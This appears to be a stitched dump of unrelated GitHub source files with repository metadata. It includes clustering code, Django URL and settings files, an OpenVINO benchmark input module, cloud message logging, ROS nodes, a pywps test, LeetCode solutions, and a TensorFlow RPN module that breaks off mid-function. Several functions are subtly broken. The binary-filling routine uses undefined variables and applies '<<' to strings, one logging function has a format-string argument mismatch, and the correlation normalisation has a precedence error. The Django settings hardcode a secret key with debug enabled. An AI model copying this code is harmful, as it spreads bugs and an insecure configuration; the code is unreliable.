C[R[U]]+C[R[i]])*Y[oldI] + (C[R[U]]+C[R[j]])*Y[oldJ] - C[R[U]]*v)/(C[R[i]]+C[R[j]] + C[R[U]]) # Add j's connections to new cluster i new_conns = connected[oldJ] & ~connected[oldI] connected[oldI] = connected[oldI] | new_conns conn_inds = np.sort(np.concatenate((conn_inds, oldI[new_conns]))) # Remove all of j's connections from conn_inds and connected U[i] = 1 J = PdistInds(j, N, U) conn_inds = conn_inds[np.in1d(conn_inds, J, assume_unique=True, invert=True).astype(np.int)] connected[J] = np.zeros(len(J)) valid_clusts[j] = 0 # update m, N, R C[m+s] = C[R[i]] + C[R[j]] Z[s, 3] = C[m+s] R[i] = m+s Z[:, 2] = np.sqrt(Z[:, 2]) return Z def correlation(features): """ Compute sample by sample correlation matrix. Parameters: - - - - - features : array sample features Returns: - - - - s : array correlation matrix of features """ mu = features.mean(0) stdev = features.std(0) zs = (stdev != 0).squeeze() normed = features[:, zs] - mu[zs][None, :] / stdev[zs][None, :] s = np.corrcoef(normed) return s # Compute positions in distance vector (for NxN matrix) for a given row. # Results are masked by the valid_flags boolean vector def PdistInds(row, N, valid_flags): if row > 0: inds1 = np.concatenate(( [row-1], (row-1) + np.cumsum(np.arange(N-2, N-row-1, -1)))) oldI = np.concatenate(( inds1, [-1], np.arange(inds1[-1]+N-row, inds1[-1]+2*N-2*row-1))) else: oldI = np.arange(N)-1 oldI = oldI[valid_flags] return oldI
[ "noreply@github.com" ]
LeilaBagha.noreply@github.com
0c4ced2b9b0cda7893c263ca688f35f779c8fbfb
53fab060fa262e5d5026e0807d93c75fb81e67b9
/backup/user_257/ch16_2020_09_23_12_39_52_743421.py
18424641beeb01c2388537b04c4757f22a441245
[]
no_license
gabriellaec/desoft-analise-exercicios
b77c6999424c5ce7e44086a12589a0ad43d6adca
01940ab0897aa6005764fc220b900e4d6161d36b
refs/heads/main
2023-01-31T17:19:42.050628
2020-12-16T05:21:31
2020-12-16T05:21:31
306,735,108
0
0
null
null
null
null
UTF-8
Python
false
false
133
py
conta= float(input("Valor da conta com 10%: R$ ")) conta += conta*10/100 print("Valor da conta com 10%: R$ {0:.2f}".format(conta))
[ "you@example.com" ]
you@example.com
654140f24923a1181ac3d59338b85bb38d2e96b3
4bb3f98d67c98572236c38d21061e0021ec2a7c6
/post/urls.py
f4673112a42facc723f3dc29fd56f940ed2b63b9
[]
no_license
sokol-nastasya/post
44f562ea6d07b87268a48a5c0b5a7ca826c6f137
ae6d42f4e9a941c9489495728321d0417cfc9ac7
refs/heads/master
2020-04-08T08:14:26.091257
2018-11-26T13:29:19
2018-11-26T13:29:19
159,171,330
0
0
null
null
null
null
UTF-8
Python
false
false
905
py
"""post URL Configuration The `urlpatterns` list routes URLs to views. For more information please see: https://docs.djangoproject.com/en/1.11/topics/http/urls/ Examples: Function views 1. Add an import: from my_app import views 2. Add a URL to urlpatterns: url(r'^$', views.home, name='home') Class-based views 1. Add an import: from other_app.views import Home 2. Add a URL to urlpatterns: url(r'^$', Home.as_view(), name='home') Including another URLconf 1. Import the include() function: from django.conf.urls import url, include 2. Add a URL to urlpatterns: url(r'^blog/', include('blog.urls')) """ from django.conf.urls import url, include from django.contrib import admin urlpatterns = [ url(r'^admin/', admin.site.urls), url(r'^', include('user_post.urls', namespace='user_post')), url(r'^account/', include('account.urls', namespace='account')), ]
[ "anastasiias798@gmail.com" ]
anastasiias798@gmail.com
1c44748dba44714166cfa7f35d87338249edc098
088e000eb5f16e6d0d56c19833b37de4e67d1097
/inference-engine/ie_bridges/python/sample/benchmark_app/benchmark/utils/inputs_filling.py
00a294524716055d8a481d0892e5cc307a9458b6
[ "Apache-2.0" ]
permissive
projectceladon/dldt
614ba719a428cbb46d64ab8d1e845ac25e85a53e
ba6e22b1b5ee4cbefcc30e8d9493cddb0bb3dfdf
refs/heads/2019
2022-11-24T10:22:34.693033
2019-08-09T16:02:42
2019-08-09T16:02:42
204,383,002
1
1
Apache-2.0
2022-11-22T04:06:09
2019-08-26T02:48:52
C++
UTF-8
Python
false
false
8,029
py
""" Copyright (C) 2018-2019 Intel Corporation Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with the License. You may obtain a copy of the License at http://www.apache.org/licenses/LICENSE-2.0 Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. """ import logging import os import cv2 import numpy as np import sys from glob import glob from random import choice from .logging import logger IMAGE_EXTENSIONS = ['JPEG', 'JPG', 'PNG', 'BMP'] BINARY_EXTENSIONS = ['BIN'] def isImage(blob): if (blob.layout != "NCHW"): return False channels = blob.shape[1] return (channels == 3) def isImageInfo(blob): if (blob.layout != "NC"): return False channels = blob.shape[1] return (channels >= 2) def getInputs(path_to_input, batch_size, input_info, requests): input_image_sizes = {} for key in input_info.keys(): if (isImage(input_info[key])): input_image_sizes[key] = (input_info[key].shape[2], input_info[key].shape[3]) logger.info("Network input '{}' precision {}, dimensions ({}): {}".format(key, input_info[key].precision, input_info[key].layout, " ".join(str(x) for x in input_info[key].shape))) images_count = len(input_image_sizes.keys()) binaries_count = len(input_info) - images_count image_files = list() binary_files = list() if (path_to_input): image_files = get_files_by_extensions(path_to_input, IMAGE_EXTENSIONS) image_files.sort() binary_files = get_files_by_extensions(path_to_input, BINARY_EXTENSIONS) binary_files.sort() if (len(image_files) == 0) and (len(binary_files) == 0): logger.warn("No input files were given: all inputs will be filled with random values!") else: binary_to_be_used = binaries_count*batch_size*len(requests) if binary_to_be_used > 0 and len(binary_files) == 0: logger.warn("No supported binary inputs found! Please check your file extensions: {}".format(",".join(BINARY_EXTENSIONS))) elif binary_to_be_used > len(binary_files): logger.warn("Some binary input files will be duplicated: {} files are required, but only {} were provided".format(binary_to_be_used, len(binary_files))) elif binary_to_be_used < len(binary_files): logger.warn("Some binary input files will be ignored: only {} files are required from {}".format(binary_to_be_used, len(binary_files))) images_to_be_used = images_count*batch_size*len(requests) if images_to_be_used > 0 and len(image_files) == 0: logger.warn("No supported image inputs found! Please check your file extensions: {}".format(",".join(IMAGE_EXTENSIONS))) elif images_to_be_used > len(image_files): logger.warn("Some image input files will be duplicated: {} files are required, but only {} were provided".format(images_to_be_used, len(image_files))) elif images_to_be_used < len(image_files): logger.warn("Some image input files will be ignored: only {} files are required from {}".format(images_to_be_used, len(image_files))) requests_input_data = [] for request_id in range(0, len(requests)): logger.info("Infer Request {} filling".format(request_id)) input_data = {} keys = list(input_info.keys()) for key in keys: if isImage(input_info[key]): # input is image if (len(image_files) > 0): input_data[key] = fill_blob_with_image(image_files, request_id, batch_size, keys.index(key), len(keys), input_info[key].shape) continue # input is binary if (len(binary_files) > 0): input_data[key] = fill_blob_with_binary(binary_files, input_info[key].shape) continue # most likely input is image info if isImageInfo(input_info[key]) and len(input_image_sizes) == 1: image_size = input_image_sizes[list(input_image_sizes.keys()).pop()] logger.info("Fill input '" + key + "' with image size " + str(image_size[0]) + "x" + str(image_size[1])) input_data[key] = fill_blob_with_image_info(image_size, input_info[key].shape) continue # fill with random data logger.info("Fill input '{}' with random values ({} is expected)".format(key, "image" if isImage(input_info[key]) else "some binary data")) input_data[key] = fill_blob_with_random(input_info[key].precision, input_info[key].shape) requests_input_data.append(input_data) return requests_input_data def get_files_by_extensions(path_to_input, extensions): input_files = list() if os.path.isfile(path_to_input): input_files.append(path_to_input) else: path = os.path.join(path_to_input, '*') files = glob(path, recursive=True) for file in files: file_extension = file.rsplit('.').pop().upper() if file_extension in extensions: input_files.append(file) return input_files def fill_blob_with_image(image_paths, request_id, batch_size, input_id, input_size, shape): images = np.ndarray(shape) image_index = request_id*batch_size*input_size + input_id for b in range(batch_size): image_index %= len(image_paths) image_filename = image_paths[image_index] image = cv2.imread(image_filename) new_im_size = tuple(shape[2:]) if image.shape[:-1] != new_im_size: logger.warn("Image {} is resized from ({}) to ({})".format(image_filename, image.shape[:-1], new_im_size)) image = cv2.resize(image, new_im_size) image = image.transpose((2, 1, 0)) images[b] = image image_index += input_size return images def fill_blob_with_binary(binary_paths, request_id, batch_size, input_id, input_size, shape): binaries = np.ndarray(shape) binary_index = request_id*batch_size*input_size + input_id for b in range(batch_size): binary_index %= len(image_paths) binary_filename = binary_paths[binary_index] binary_file_size = os.path.getsize(binary_file) input_size = np.prod(shape)/batch_size if (input_size != binary_file_size): raise Exception("File " + binary_filename + " contains " << str(binary_file_size) + " bytes " + "but network expects " + str(input_size)) with open(binary_file, 'r') as f: binary_data = f.read() binaries[b] = binary_data binary_index += input_size return binaries def fill_blob_with_image_info(image_size, shape): im_info = np.ndarray(shape) for b in range(shape[0]): for i in range(shape[1]): im_info[b][i] = image_size[i] if i in [0, 1] else 1 return im_info def fill_blob_with_random(precision, shape): if precision == "FP32": return np.random.rand(*shape).astype(np.float32) elif precision == "FP16": return np.random.rand(*shape).astype(np.float16) elif precision == "I32": return np.random.rand(*shape).astype(np.int32) elif precision == "U8": return np.random.rand(*shape).astype(np.uint8) elif precision == "I8": return np.random.rand(*shape).astype(np.int8) elif precision == "U16": return np.random.rand(*shape).astype(np.uint16) elif precision == "I16": return np.random.rand(*shape).astype(np.int16) else: raise Exception("Input precision is not supported: " + precision)
[ "44090433+openvino-pushbot@users.noreply.github.com" ]
44090433+openvino-pushbot@users.noreply.github.com
b11132f9a28ade952b2c9bb6c536a6194a591483
c4e729edfb9b056b9aa111a31eebefe41f39ac46
/cloudweb/db/message/message_object.py
5f4f03c9a16d5b91d0beb86ef7b8ac7b1a9f8a7d
[]
no_license
sun3shines/web
870a558538278ecb4a39e5d9cab4ba2ebb626ca3
9e6f83e6e793f86ecdf7202daae3903cc052f266
refs/heads/master
2021-01-18T23:49:48.722245
2016-07-02T10:25:24
2016-07-02T10:25:24
54,888,971
0
0
null
null
null
null
UTF-8
Python
false
false
3,712
py
# -*- coding: utf-8 -*- from urllib import unquote from cloudweb.db.db_record import record_put # msgPut -> db_message_object_put # msgGet -> db_message_object_get # msgHead -> db_message_object_head # msgMeta -> db_message_object_meta # msgDelete -> db_message_object_delete # msgDeleteRecycle -> db_message_object_deleterecycle # msgMove -> db_message_object_move # msgCopy -> db_message_object_copy # msgMoveRecycle -> db_message_object_moverecycle # msgPost -> db_message_object_post def db_message_object_put(db,objPath): # objPath = unquote(path) # objPath = '/'.join(objPath.split('/')[3:]) urName = objPath.split('/')[0] objName = objPath.split('/')[-1] msg = ' %s PUT OBJECT %s' % (urName,objName) return record_put(db, msg, urName, objPath) def db_message_object_get(db,objPath): # objPath = unquote(path) # objPath = '/'.join(objPath.split('/')[3:]) urName = objPath.split('/')[0] objName = objPath.split('/')[-1] msg = ' %s DOWNLOAD OBJECT %s' % (urName,objName) return record_put(db, msg, urName, objPath) def db_message_object_head(db,objPath): # objPath = unquote(path) # objPath = '/'.join(objPath.split('/')[3:]) urName = objPath.split('/')[0] objName = objPath.split('/')[-1] msg = ' %s GET OBJECT %s INFO' % (urName,objName) return record_put(db, msg, urName, objPath) def db_message_object_meta(db,objPath): # objPath = unquote(path) # objPath = '/'.join(objPath.split('/')[3:]) urName = objPath.split('/')[0] objName = objPath.split('/')[-1] msg = ' %s GET OBJECT %s METADATA' % (urName,objName) return record_put(db, msg, urName, objPath) def db_message_object_delete(db,objPath): # objPath = unquote(path) # objPath = '/'.join(objPath.split('/')[3:]) urName = objPath.split('/')[0] objName = objPath.split('/')[-1] msg = ' %s DELETE OBJECT %s' % (urName,objName) return record_put(db, msg, urName, objPath) def db_message_object_deleterecycle(db,objPath): # objPath = unquote(path) # objPath = '/'.join(objPath.split('/')[3:]) urName = objPath.split('/')[0] objName = objPath.split('/')[-1] msg = ' %s MOVE OBJECT %s TO RECYCLE' % (urName,objName) return record_put(db, msg, urName, objPath) def db_message_object_move(db,objPath,dstName): # objPath = unquote(path) # objPath = '/'.join(objPath.split('/')[3:]) urName = objPath.split('/')[0] objName = objPath.split('/')[-1] msg = ' %s MOVE OBJECT %s TO %s' % (urName,objName,dstName) return record_put(db, msg, urName, objPath) def db_message_object_copy(db,objPath,dstName): # objPath = unquote(path) # objPath = '/'.join(objPath.split('/')[3:]) urName = objPath.split('/')[0] objName = objPath.split('/')[-1] msg = ' %s COPY OBJECT %s TO %s' % (urName,objName,dstName) return record_put(db, msg, urName, objPath) def db_message_object_moverecycle(db,objPath): # objPath = unquote(path) # objPath = '/'.join(objPath.split('/')[3:]) urName = objPath.split('/')[0] objName = objPath.split('/')[-1] msg = ' %s MOVE OBJECT %s FROM RECYCLE' % (urName,objName) return record_put(db, msg, urName, objPath) def db_message_object_post(db,objPath,header): # objPath = unquote(path) # objPath = '/'.join(objPath.split('/')[3:]) urName = objPath.split('/')[0] objName = objPath.split('/')[-1] msg = ' %s UPDATE OBJECT METADATA %s' % (urName,objName,header) return record_put(db, msg, urName, objPath)
[ "sun__shines@163.com" ]
sun__shines@163.com
f830cc3a269c631a046d68d50d959d010f83b1eb
fda56521409af8cd09591d398054d161ea8a5f94
/ros_ws/src/ros_test/src/controller.py
e05dd79f940022bc8ebb243e79acf8cd6b028033
[]
no_license
UBC-OpenRobotics/Francisco
ead6c4bfd962d72dafc1478000673e114f1a1e13
ce856bb61383b50bed2284e004a0ccde7c272b60
refs/heads/master
2020-08-03T00:13:57.626608
2020-01-25T18:31:03
2020-01-25T18:31:03
211,558,891
0
1
null
null
null
null
UTF-8
Python
false
false
1,885
py
#! /usr/bin/env python import rospy from std_msgs.msg import String from sensor_msgs.msg import Image from geometry_msgs.msg import Twist import cv2 import numpy as np from cv_bridge import CvBridge #Define constants base_linear_speed = 0.3 pub = rospy.Publisher('/cmd_vel', Twist, queue_size=1) def line_follow(image): #Convert ros image to cv image bridge = CvBridge() frame = bridge.imgmsg_to_cv2(image) rows = [200, 215, 230] gray = cv2.cvtColor(frame, cv2.COLOR_BGR2GRAY) ret,thresh = cv2.threshold(gray[190:],90,255,cv2.THRESH_BINARY_INV) #Center of frame frame_width = gray.shape[1] x_center = frame_width/2.0 try: M = cv2.moments(thresh) x = int(M["m10"] / M["m00"]) y = int(M["m01"] / M["m00"]) except Exception as e: pass cv2.circle(frame, (x, y+190), 5, (255, 255, 255), -1) cv2.putText(frame, "centroid", (x - 25, y +170),cv2.FONT_HERSHEY_SIMPLEX, 0.5, (255, 255, 255), 2) for row in rows: lane = np.where(thresh[row-190]==255) try: x1 = lane[0][0] x2 = lane[0][-1] except Exception as e: pass cv2.circle(frame, (x1, row), 5, (255, 255, 255), -1) cv2.circle(frame, (x2, row), 5, (255, 255, 255), -1) try: cv2.imshow("Image",frame) cv2.waitKey(1) err = (x-x_center) rospy.loginfo("Error: " + str(err/10)) pid(err) except Exception as e: pass def pid(dx): move = Twist() move.linear.x= base_linear_speed - abs(dx/100) move.angular.z = -(float(dx)/10) pub.publish(move) def listener(): rospy.init_node('listener') rospy.Subscriber('/robot/camera/image_raw', Image, line_follow) rospy.spin() def move_robot(): rospy.init_node('topic_publisher') pub = rospy.Publisher('/cmd_vel', Twist, queue_size=1) rate = rospy.Rate(2) move=Twist() move.linear.x = 0.5 move.angular.z = 0.5 while not rospy.is_shutdown(): pub.publish(move) rate.sleep() if __name__ == '__main__': listener()
[ "fquico1999@gmail.com" ]
fquico1999@gmail.com
d14bc60bdaf99f1890db8384f1be94b75d18eb38
fd780d0bc77c8880c73e67a996528ff00611dbb2
/tests/test_wps_subset_wfs_polygon.py
42c6cd4167bc32642f21b83b8152430ab2ceaae9
[ "Apache-2.0" ]
permissive
bird-house/flyingpigeon
859cac9c3a3e009ed0a2ac26a7be42b8d33654ad
f445055857d6243a5a1db60040cef173e9932574
refs/heads/master
2022-11-08T10:03:22.273140
2022-11-01T13:42:18
2022-11-01T13:42:18
23,613,598
21
17
Apache-2.0
2023-09-07T20:06:12
2014-09-03T09:03:59
Python
UTF-8
Python
false
false
1,314
py
from pywps import Service from pywps.tests import client_for, assert_response_success from .common import get_output, CFG_FILE from flyingpigeon.processes.wps_subset_wfs_polygon import SubsetWFSPolygonProcess def test_wps_subset(): client = client_for(Service(processes=[SubsetWFSPolygonProcess()], cfgfiles=CFG_FILE)) datainputs = "resource=@xlink:href={nc};" \ "typename={typename};" \ "geoserver={geoserver};" \ "featureids={fid1};" \ "featureids={fid2};" inputs = dict(nc="https://pavics.ouranos.ca/twitcher/ows/proxy/thredds/dodsC/birdhouse/nrcan" "/nrcan_northamerica_monthly" "/tasmax/nrcan_northamerica_monthly_2015_tasmax.nc", typename="public:USGS_HydroBASINS_lake_na_lev12", geoserver="https://pavics.ouranos.ca/geoserver/wfs", fid1="USGS_HydroBASINS_lake_na_lev12.67061", fid2="USGS_HydroBASINS_lake_na_lev12.67088", ) resp = client.get( "?service=WPS&request=Execute&version=1.0.0&identifier=subset-wfs-polygon&datainputs={}".format( datainputs.format(**inputs))) assert_response_success(resp) out = get_output(resp.xml) assert 'metalink' in out
[ "huard.david@ouranos.ca" ]
huard.david@ouranos.ca
e5ecbbabe40350802b5bf5fb41a55eb55444f108
a0838645cbe9883253098ecdeaa3c35c3a4389cb
/ros-workspace/src/dr_phil_hardware/src/dr_phil_hardware/test/test_utils/camera_info_pub.py
2a08fe938343366e9ec55c992fade7f540389fc8
[ "Apache-2.0" ]
permissive
andrei8782/SDP-DrPhil
9bce89b4790b8842de27067f721176619d497dfb
2b5469aab6b25a4a938f111daf5a24b3a331fca5
refs/heads/main
2023-04-01T09:23:13.346110
2021-03-10T18:38:09
2021-03-10T18:38:09
null
0
0
null
null
null
null
UTF-8
Python
false
false
2,357
py
#! /usr/bin/env python3 """ pointgrey_camera_driver (at least the version installed with apt-get) doesn't properly handle camera info in indigo. This node is a work-around that will read in a camera calibration .yaml file (as created by the cameracalibrator.py in the camera_calibration pkg), convert it to a valid sensor_msgs/CameraInfo message, and publish it on a topic. The yaml parsing is courtesy ROS-user Stephan: http://answers.ros.org/question/33929/camera-calibration-parser-in-python/ This file just extends that parser into a rosnode. """ import rospy import yaml from sensor_msgs.msg import CameraInfo from os import path def yaml_to_CameraInfo(yaml_fname): """ Parse a yaml file containing camera calibration data (as produced by rosrun camera_calibration cameracalibrator.py) into a sensor_msgs/CameraInfo msg. Parameters ---------- yaml_fname : str Path to yaml file containing camera calibration data Returns ------- camera_info_msg : sensor_msgs.msg.CameraInfo A sensor_msgs.msg.CameraInfo message containing the camera calibration data """ # Load data from file with open(yaml_fname, "r") as file_handle: calib_data = yaml.load(file_handle,Loader=yaml.FullLoader) # Parse camera_info_msg = CameraInfo() camera_info_msg.width = calib_data["image_width"] camera_info_msg.height = calib_data["image_height"] camera_info_msg.K = calib_data["camera_matrix"]["data"] camera_info_msg.D = calib_data["distortion_coefficients"]["data"] camera_info_msg.R = calib_data["rectification_matrix"]["data"] camera_info_msg.P = calib_data["projection_matrix"]["data"] camera_info_msg.distortion_model = calib_data["distortion_model"] return camera_info_msg if __name__ == "__main__": # Parse yaml file camera_info_msg = yaml_to_CameraInfo(path.join(path.dirname(path.realpath(__file__)),"camera_info.yml")) # append frame id camera_info_msg.header.frame_id = "camera_rgb_optical_frame" # Initialize publisher node rospy.init_node("camera_info_pub", anonymous=True) publisher = rospy.Publisher("camera_info", CameraInfo, queue_size=10) rate = rospy.Rate(10) # Run publisher while not rospy.is_shutdown(): publisher.publish(camera_info_msg) rate.sleep()
[ "makspl17@gmail.com" ]
makspl17@gmail.com
9cffa499f328a2ac84c8f99104a8c09508f9eead
3c2b018f16ef00ef52fe12637d39b20018099290
/225-249/226. Invert Binary Tree.py
a58adee8faeb212d2b21f54ecd1b178f194df50b
[]
no_license
swapagarwal/LeetCodeGolf
81a19763c0e80b0449e03471871e64aaae5ff9ec
87fe6116e0f164d4489e5492a542531bdd8e27e5
refs/heads/master
2021-01-20T10:15:48.761559
2015-11-01T18:11:16
2015-11-01T18:11:16
40,238,286
1
0
null
null
null
null
UTF-8
Python
false
false
512
py
''' Invert a binary tree. 4 / \ 2 7 / \ / \ 1 3 6 9 to 4 / \ 7 2 / \ / \ 9 6 3 1 ''' # Definition for a binary tree node. # class TreeNode: # def __init__(self, x): # self.val = x # self.left = None # self.right = None class Solution: # @param {TreeNode} root # @return {TreeNode} def invertTree(self, root): if root:root.left,root.right=self.invertTree(root.right),self.invertTree(root.left) return root
[ "swapnilagarwal@live.com" ]
swapnilagarwal@live.com
0a0335e8b3f10ac8e390e573c33327747b1e6d62
294027bfef18ad69a4684be6ab46ba65277f457b
/practice/daily_coding_problem/problem_1.py
5e4337a018eb882b7b326a7c84cd6949ab798fdd
[]
no_license
Iaknihs/random
f9eff6b002d9541d79113247fcb190b29d2193a5
97c4e7fff8510d762d52e6961df7dc0871d98b4c
refs/heads/master
2020-05-03T09:21:00.005146
2019-04-11T09:06:53
2019-04-11T09:06:53
178,551,951
0
0
null
null
null
null
UTF-8
Python
false
false
842
py
""" Good morning! Here's your coding interview problem for today. This problem was recently asked by Google. Given a list of numbers and a number k, return whether any two numbers from the list add up to k. For example, given [10, 15, 3, 7] and k of 17, return true since 10 + 7 is 17. Bonus: Can you do this in one pass? """ def solution(arr, k): """ I think that counts as a 1-pass solution? dicts have a lookup time of O(1) for any reasonable inputs, due to being hashed. :param arr: array of numbers :param k: the number to add up to :return: """ a = dict() for i in range(len(arr)): a[arr[i]] = i if k-arr[i] in a: print("yey") return print("nay") if __name__ == '__main__': solution([1, 4, 5, 8, 32], 36) solution([1, 4, 5, 8, 32], 38)
[ "schruff@dbis.rwth-aachen.de" ]
schruff@dbis.rwth-aachen.de
f78c3b2044a52976c4a838d5b89dbdf2832b3022
3b8a4101995b1ba889dc685901a62db72ab13184
/examples/tweets/config.py
9956e34e66ccae84cc8211d70d5b54357f47a9c3
[ "BSD-3-Clause" ]
permissive
tchen0123/pulsar
586aeb69419c0eac034431405979edd91b4347b2
53a311e51974a27f6ef081c38193b41dede1412f
refs/heads/master
2021-01-18T19:12:04.143947
2015-07-21T06:29:04
2015-07-21T06:29:04
null
0
0
null
null
null
null
UTF-8
Python
false
false
243
py
twitter_api_key = 'twitter API key of your registered twitter application' twitter_api_secret = 'consumer secret' twitter_access_token = 'Access token' twitter_access_secret = 'Access token secret' twitter_stream_filter = {'track': 'python'}
[ "luca.sbardella@gmail.com" ]
luca.sbardella@gmail.com
ce333a91d5510af134bc8a54d69250cbed4d7025
5437b74849655c80d4243c10b02362c38ac72e57
/pyshop/products/migrations/0001_initial.py
88ca8902b66c5a7dd5762bc0230d1c14ce6f9baa
[]
no_license
ckmonish2000/simple-full-stack-projects
25f1dad42ad1fd328e6d78e627e4cf6ff3c6f7b5
57e0a022b9dc7d889d2f994d360a24d53dffd86f
refs/heads/master
2020-12-17T06:24:30.312181
2020-02-09T09:31:23
2020-02-09T09:31:23
235,285,469
0
0
null
null
null
null
UTF-8
Python
false
false
651
py
# Generated by Django 3.0.2 on 2020-02-08 08:03 from django.db import migrations, models class Migration(migrations.Migration): initial = True dependencies = [ ] operations = [ migrations.CreateModel( name='product', fields=[ ('id', models.AutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')), ('name', models.CharField(max_length=255)), ('price', models.FloatField()), ('stock', models.IntegerField()), ('image_url', models.CharField(max_length=2083)), ], ), ]
[ "ckmonish2000@gmail.com" ]
ckmonish2000@gmail.com
b03ac5488518a3f330bc0113472150497457e28f
44d2f40d4229f1cb26cec013cb18751d8006a219
/snippets_backend/settings/development.py
ffcb584fad67c3d5c1faf1d5e6527be5cf605b3f
[]
no_license
prettyirrelevant/snippets-backend
4bcb1d4c2cfa9bcd099856f026320c1250f08dc3
0006c194870904620599ca52b8b1510b11c1e2e9
refs/heads/master
2023-03-21T19:36:22.230824
2021-03-22T09:57:14
2021-03-22T09:57:14
331,959,739
4
0
null
null
null
null
UTF-8
Python
false
false
3,559
py
""" Django settings for snippets_backend project. Generated by 'django-admin startproject' using Django 3.1.5. For more information on this file, see https://docs.djangoproject.com/en/3.1/topics/settings/ For the full list of settings and their values, see https://docs.djangoproject.com/en/3.1/ref/settings/ """ from pathlib import Path # Build paths inside the project like this: BASE_DIR / 'subdir'. BASE_DIR = Path(__file__).resolve().parent.parent.parent # Quick-start development settings - unsuitable for production # See https://docs.djangoproject.com/en/3.1/howto/deployment/checklist/ # SECURITY WARNING: keep the secret key used in production secret! SECRET_KEY = '@w*wfy5)lp19)4-zf&0y^je9wc8=)ljqjcwoj82xsujxfi&o-1' # SECURITY WARNING: don't run with debug turned on in production! DEBUG = True ALLOWED_HOSTS = [] # Application definition AUTH_USER_MODEL = 'api.User' INSTALLED_APPS = [ 'django.contrib.admin', 'django.contrib.auth', 'django.contrib.contenttypes', 'django.contrib.sessions', 'django.contrib.messages', 'django.contrib.staticfiles', 'corsheaders', 'rest_framework', 'knox', 'api' ] MIDDLEWARE = [ 'django.middleware.security.SecurityMiddleware', 'django.contrib.sessions.middleware.SessionMiddleware', 'corsheaders.middleware.CorsMiddleware', 'django.middleware.common.CommonMiddleware', 'django.middleware.csrf.CsrfViewMiddleware', 'django.contrib.auth.middleware.AuthenticationMiddleware', 'django.contrib.messages.middleware.MessageMiddleware', 'django.middleware.clickjacking.XFrameOptionsMiddleware', ] ROOT_URLCONF = 'snippets_backend.urls' TEMPLATES = [ { 'BACKEND': 'django.template.backends.django.DjangoTemplates', 'DIRS': [], 'APP_DIRS': True, 'OPTIONS': { 'context_processors': [ 'django.template.context_processors.debug', 'django.template.context_processors.request', 'django.contrib.auth.context_processors.auth', 'django.contrib.messages.context_processors.messages', ], }, }, ] WSGI_APPLICATION = 'snippets_backend.wsgi.application' # Database # https://docs.djangoproject.com/en/3.1/ref/settings/#databases DATABASES = { 'default': { 'ENGINE': 'django.db.backends.sqlite3', 'NAME': BASE_DIR / 'db.sqlite3', } } # Password validation # https://docs.djangoproject.com/en/3.1/ref/settings/#auth-password-validators AUTH_PASSWORD_VALIDATORS = [ { 'NAME': 'django.contrib.auth.password_validation.UserAttributeSimilarityValidator', }, { 'NAME': 'django.contrib.auth.password_validation.MinimumLengthValidator', }, { 'NAME': 'django.contrib.auth.password_validation.CommonPasswordValidator', }, { 'NAME': 'django.contrib.auth.password_validation.NumericPasswordValidator', }, ] # Internationalization # https://docs.djangoproject.com/en/3.1/topics/i18n/ LANGUAGE_CODE = 'en-us' TIME_ZONE = 'UTC' USE_I18N = True USE_L10N = True USE_TZ = True # Static files (CSS, JavaScript, Images) # https://docs.djangoproject.com/en/3.1/howto/static-files/ STATIC_URL = '/static/' REST_FRAMEWORK = { 'DEFAULT_AUTHENTICATION_CLASSES': ['knox.auth.TokenAuthentication'], 'DEFAULT_PERMISSION_CLASSES': ['rest_framework.permissions.AllowAny'] } REST_KNOX = { 'USER_SERIALIZER': 'api.serializers.UserSerializer', 'EXPIRY_DATETIME_FORMAT': None } CORS_ALLOWED_ORIGINS = ["http://localhost:3000"]
[ "ienioladewumi@gmail.com" ]
ienioladewumi@gmail.com
49e655897c8c8b8804ab3cc9a0e29838b16bdcdf
1493ba096d2f29d15712ed70ba00c49adbf30b56
/lib/modeling/proposal_generator/rpn_outputs.py
aa1b4e603e989ac3c44755dab18e37bd4d431f85
[ "Apache-2.0" ]
permissive
SimeonZhang/detectron2_tensorflow
09680b6a01127c5b73e8e0f86a76dec090fc5a05
ca03f633111d540ea91b3de75dbfa1da813647be
refs/heads/master
2023-03-09T21:55:07.097742
2021-03-02T10:26:32
2021-03-02T10:26:32
344,732,078
13
1
null
null
null
null
UTF-8
Python
false
false
20,121
py
import itertools import tensorflow as tf from ...layers import smooth_l1_loss, flatten from ...structures import box_list from ...structures import box_list_ops from ...utils import shape_utils from ..sampling import subsample_labels slim = tf.contrib.slim """ Shape shorthand in this module: N: number of images in the minibatch L: number of feature maps per image on which RPN is run A: number of cell anchors (must be the same for all feature maps) Hi, Wi: height and width of the i-th feature map 4: size of the box parameterization Naming convention: objectness: refers to the binary classification of an anchor as object vs. not object. deltas: refers to the 4-d (dx, dy, dw, dh) deltas that parameterize the box2box transform (see :class:`box_regression.Box2BoxTransform`). pred_objectness_logits: predicted objectness scores in [-inf, +inf]; use sigmoid(pred_objectness_logits) to estimate P(object). """ def find_top_rpn_proposals( proposals, pred_objectness_logits, images, nms_thresh, pre_nms_topk, post_nms_topk, min_box_side_len, ): """ For each feature map, select the `pre_nms_topk` highest scoring proposals, , clip proposals, remove small boxes, and apply NMS. Args: proposals (list[Tensor]): A list of L tensors. Tensor i has shape (N, Hi*Wi*A, 4). All proposal predictions on the feature maps. pred_objectness_logits (list[Tensor]): A list of L tensors. Tensor i has shape (N, Hi*Wi*A). images (ImageList): Input images as an :class:`ImageList`. nms_thresh (float): IoU threshold to use for NMS pre_nms_topk (int): number of top k scoring proposals to keep before applying NMS. When RPN is run on multiple feature maps (as in FPN) this number is per feature map. post_nms_topk (int): number of top k scoring proposals to keep after applying NMS. When RPN is run on multiple feature maps (as in FPN) this number is total, over all feature maps. min_box_side_len (float): minimum proposal box side length in pixels (absolute units wrt input images). Returns: proposals (BoxList): representing list of N Instances. The i-th Instances stores post_nms_topk object proposals for image i. """ def find_top_rpn_proposals_single_image(inputs): proposals, pred_objectness_logits, image_shape = inputs proposal_boxes = [] proposal_scores = [] for proposals_i, logits_i in zip(proposals, pred_objectness_logits): # 1. Select top-k anchor Hi_Wi_A = tf.shape(logits_i)[0] topk_i = tf.minimum(pre_nms_topk, Hi_Wi_A) topk_scores_i, topk_idx = tf.nn.top_k(logits_i, k=topk_i, sorted=False) topk_proposals_i = tf.gather(proposals_i, topk_idx) # 2. clip proposals boxlist_i = box_list.BoxList(topk_proposals_i) boxlist_i.add_field("scores", topk_scores_i) window = tf.stack([0, 0, image_shape[0], image_shape[1]]) window = tf.cast(window, tf.float32) 